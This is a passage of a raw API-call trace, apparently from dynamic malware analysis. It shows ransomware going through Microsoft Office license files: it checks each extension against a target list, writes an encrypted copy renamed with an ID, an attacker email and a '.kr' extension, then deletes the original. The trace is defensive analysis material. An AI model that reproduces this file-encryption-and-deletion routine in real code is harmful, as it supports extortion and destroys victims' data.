lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x10e, lpOverlapped=0x0) returned 1 [0215.960] SetEndOfFile (hFile=0x3f8) returned 1 [0215.960] CloseHandle (hObject=0x3f8) returned 1 [0215.961] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.961] SetEndOfFile (hFile=0x518) returned 1 [0215.963] CloseHandle (hObject=0x518) returned 1 [0215.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.964] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-pl.xrm-ms")) returned 1 [0215.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-pl.xrm-ms") returned 79 [0215.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-pl.xrm-ms") returned 79 [0215.964] lstrlenW (lpString=".doc") returned 4 [0215.964] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.964] lstrlenW (lpString=".docx") returned 5 [0215.964] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.964] lstrlenW (lpString=".pdf") returned 4 [0215.964] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.964] lstrlenW (lpString=".xls") returned 4 [0215.964] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.965] lstrlenW (lpString=".xlsx") returned 5 [0215.965] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.965] lstrlenW (lpString=".ppt") returned 4 [0215.965] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-pl.xrm-ms") returned 79 [0215.965] lstrlenW (lpString=".zip") returned 4 [0215.965] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.965] lstrlenW (lpString=".rar") returned 4 [0215.965] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.965] lstrlenW (lpString=".bz2") returned 4 [0215.965] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.965] lstrlenW (lpString=".7z") returned 3 [0215.965] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-pl.xrm-ms") returned 79 [0215.965] lstrlenW (lpString=".dbf") returned 4 [0215.965] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-pl.xrm-ms") returned 79 [0215.965] lstrlenW (lpString=".1cd") returned 4 [0215.965] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-pl.xrm-ms") returned 79 [0215.965] lstrlenW (lpString=".jpg") returned 4 [0215.965] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-pl.xrm-ms") returned 79 [0215.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-pl.xrm-ms") returned 79 [0215.965] lstrlenW (lpString=".doc") returned 4 [0215.965] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.965] lstrlenW (lpString=".docx") returned 5 [0215.965] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.965] lstrlenW (lpString=".pdf") returned 4 [0215.965] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.965] lstrlenW (lpString=".xls") returned 4 [0215.965] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.965] lstrlenW (lpString=".xlsx") returned 5 [0215.966] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.966] lstrlenW (lpString=".ppt") returned 4 [0215.966] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-pl.xrm-ms") returned 79 [0215.966] lstrlenW (lpString=".zip") returned 4 [0215.966] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.966] lstrlenW (lpString=".rar") returned 4 [0215.966] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.966] lstrlenW (lpString=".bz2") returned 4 [0215.966] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.966] lstrlenW (lpString=".7z") returned 3 [0215.966] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-pl.xrm-ms") returned 79 [0215.966] lstrlenW (lpString=".dbf") returned 4 [0215.966] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-pl.xrm-ms") returned 79 [0215.966] lstrlenW (lpString=".1cd") returned 4 [0215.966] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-pl.xrm-ms") returned 79 [0215.966] lstrlenW (lpString=".jpg") returned 4 [0215.966] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.966] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0215.966] lstrlenW (lpString="ProjectProR_Retail2-ppd.xrm-ms") returned 30 [0215.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0215.967] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=20851) returned 1 [0215.967] CloseHandle (hObject=0x518) returned 1 [0215.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-ppd.xrm-ms")) returned 0x220 [0215.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0215.968] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.968] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0215.968] GetLastError () returned 0x0 [0215.968] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x5173, lpOverlapped=0x0) returned 1 [0215.971] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x5180, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x5180, lpOverlapped=0x0) returned 1 [0215.972] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0215.972] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x110, lpOverlapped=0x0) returned 1 [0215.972] SetEndOfFile (hFile=0x3f8) returned 1 [0215.972] CloseHandle (hObject=0x3f8) returned 1 [0215.972] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.972] SetEndOfFile (hFile=0x518) returned 1 [0215.976] CloseHandle (hObject=0x518) returned 1 [0215.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.976] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-ppd.xrm-ms")) returned 1 [0215.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ppd.xrm-ms") returned 80 [0215.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ppd.xrm-ms") returned 80 [0215.977] lstrlenW (lpString=".doc") returned 4 [0215.977] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.977] lstrlenW (lpString=".docx") returned 5 [0215.977] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.977] lstrlenW (lpString=".pdf") returned 4 [0215.977] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.977] lstrlenW (lpString=".xls") returned 4 [0215.977] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.977] lstrlenW (lpString=".xlsx") returned 5 [0215.977] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.977] lstrlenW (lpString=".ppt") returned 4 [0215.977] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ppd.xrm-ms") returned 80 [0215.978] lstrlenW (lpString=".zip") returned 4 [0215.978] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.978] lstrlenW (lpString=".rar") returned 4 [0215.978] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.978] lstrlenW (lpString=".bz2") returned 4 [0215.978] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.978] lstrlenW (lpString=".7z") returned 3 [0215.978] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ppd.xrm-ms") returned 80 [0215.978] lstrlenW (lpString=".dbf") returned 4 [0215.978] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ppd.xrm-ms") returned 80 [0215.978] lstrlenW (lpString=".1cd") returned 4 [0215.978] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ppd.xrm-ms") returned 80 [0215.978] lstrlenW (lpString=".jpg") returned 4 [0215.978] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ppd.xrm-ms") returned 80 [0215.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ppd.xrm-ms") returned 80 [0215.978] lstrlenW (lpString=".doc") returned 4 [0215.978] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.978] lstrlenW (lpString=".docx") returned 5 [0215.978] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.978] lstrlenW (lpString=".pdf") returned 4 [0215.978] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.978] lstrlenW (lpString=".xls") returned 4 [0215.978] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.978] lstrlenW (lpString=".xlsx") returned 5 [0215.978] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.978] lstrlenW (lpString=".ppt") returned 4 [0215.978] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ppd.xrm-ms") returned 80 [0215.979] lstrlenW (lpString=".zip") returned 4 [0215.979] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.979] lstrlenW (lpString=".rar") returned 4 [0215.979] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.979] lstrlenW (lpString=".bz2") returned 4 [0215.979] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.979] lstrlenW (lpString=".7z") returned 3 [0215.979] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ppd.xrm-ms") returned 80 [0215.979] lstrlenW (lpString=".dbf") returned 4 [0215.979] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ppd.xrm-ms") returned 80 [0215.979] lstrlenW (lpString=".1cd") returned 4 [0215.979] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ppd.xrm-ms") returned 80 [0215.979] lstrlenW (lpString=".jpg") returned 4 [0215.979] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.979] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0215.979] lstrlenW (lpString="ProjectProR_Retail2-ul-oob.xrm-ms") returned 33 [0215.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0215.980] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11600) returned 1 [0215.980] CloseHandle (hObject=0x518) returned 1 [0215.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-ul-oob.xrm-ms")) returned 0x220 [0215.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0215.981] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.981] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0215.982] GetLastError () returned 0x0 [0215.982] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2d50, lpOverlapped=0x0) returned 1 [0216.277] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0216.278] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0216.278] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x116, lpOverlapped=0x0) returned 1 [0216.278] SetEndOfFile (hFile=0x3f8) returned 1 [0216.278] CloseHandle (hObject=0x3f8) returned 1 [0216.278] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.278] SetEndOfFile (hFile=0x518) returned 1 [0216.284] CloseHandle (hObject=0x518) returned 1 [0216.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.284] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-ul-oob.xrm-ms")) returned 1 [0216.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-oob.xrm-ms") returned 83 [0216.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-oob.xrm-ms") returned 83 [0216.286] lstrlenW (lpString=".doc") returned 4 [0216.286] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.286] lstrlenW (lpString=".docx") returned 5 [0216.286] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.286] lstrlenW (lpString=".pdf") returned 4 [0216.286] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.286] lstrlenW (lpString=".xls") returned 4 [0216.286] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.286] lstrlenW (lpString=".xlsx") returned 5 [0216.286] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.286] lstrlenW (lpString=".ppt") returned 4 [0216.286] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-oob.xrm-ms") returned 83 [0216.286] lstrlenW (lpString=".zip") returned 4 [0216.286] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.286] lstrlenW (lpString=".rar") returned 4 [0216.286] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.286] lstrlenW (lpString=".bz2") returned 4 [0216.286] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.286] lstrlenW (lpString=".7z") returned 3 [0216.286] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-oob.xrm-ms") returned 83 [0216.286] lstrlenW (lpString=".dbf") returned 4 [0216.286] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-oob.xrm-ms") returned 83 [0216.287] lstrlenW (lpString=".1cd") returned 4 [0216.287] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-oob.xrm-ms") returned 83 [0216.287] lstrlenW (lpString=".jpg") returned 4 [0216.287] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-oob.xrm-ms") returned 83 [0216.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-oob.xrm-ms") returned 83 [0216.287] lstrlenW (lpString=".doc") returned 4 [0216.287] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.287] lstrlenW (lpString=".docx") returned 5 [0216.287] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.287] lstrlenW (lpString=".pdf") returned 4 [0216.287] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.287] lstrlenW (lpString=".xls") returned 4 [0216.287] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.287] lstrlenW (lpString=".xlsx") returned 5 [0216.287] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.287] lstrlenW (lpString=".ppt") returned 4 [0216.287] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-oob.xrm-ms") returned 83 [0216.287] lstrlenW (lpString=".zip") returned 4 [0216.287] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.287] lstrlenW (lpString=".rar") returned 4 [0216.287] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.287] lstrlenW (lpString=".bz2") returned 4 [0216.287] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.287] lstrlenW (lpString=".7z") returned 3 [0216.287] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-oob.xrm-ms") returned 83 [0216.288] lstrlenW (lpString=".dbf") returned 4 [0216.288] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-oob.xrm-ms") returned 83 [0216.288] lstrlenW (lpString=".1cd") returned 4 [0216.288] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-oob.xrm-ms") returned 83 [0216.288] lstrlenW (lpString=".jpg") returned 4 [0216.288] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.288] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0216.288] lstrlenW (lpString="ProjectProVL_MAK-ul-phn.xrm-ms") returned 30 [0216.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0216.289] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=19946) returned 1 [0216.289] CloseHandle (hObject=0x518) returned 1 [0216.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-ul-phn.xrm-ms")) returned 0x220 [0216.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0216.290] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.290] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0216.291] GetLastError () returned 0x0 [0216.291] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x4dea, lpOverlapped=0x0) returned 1 [0216.293] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x4df0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x4df0, lpOverlapped=0x0) 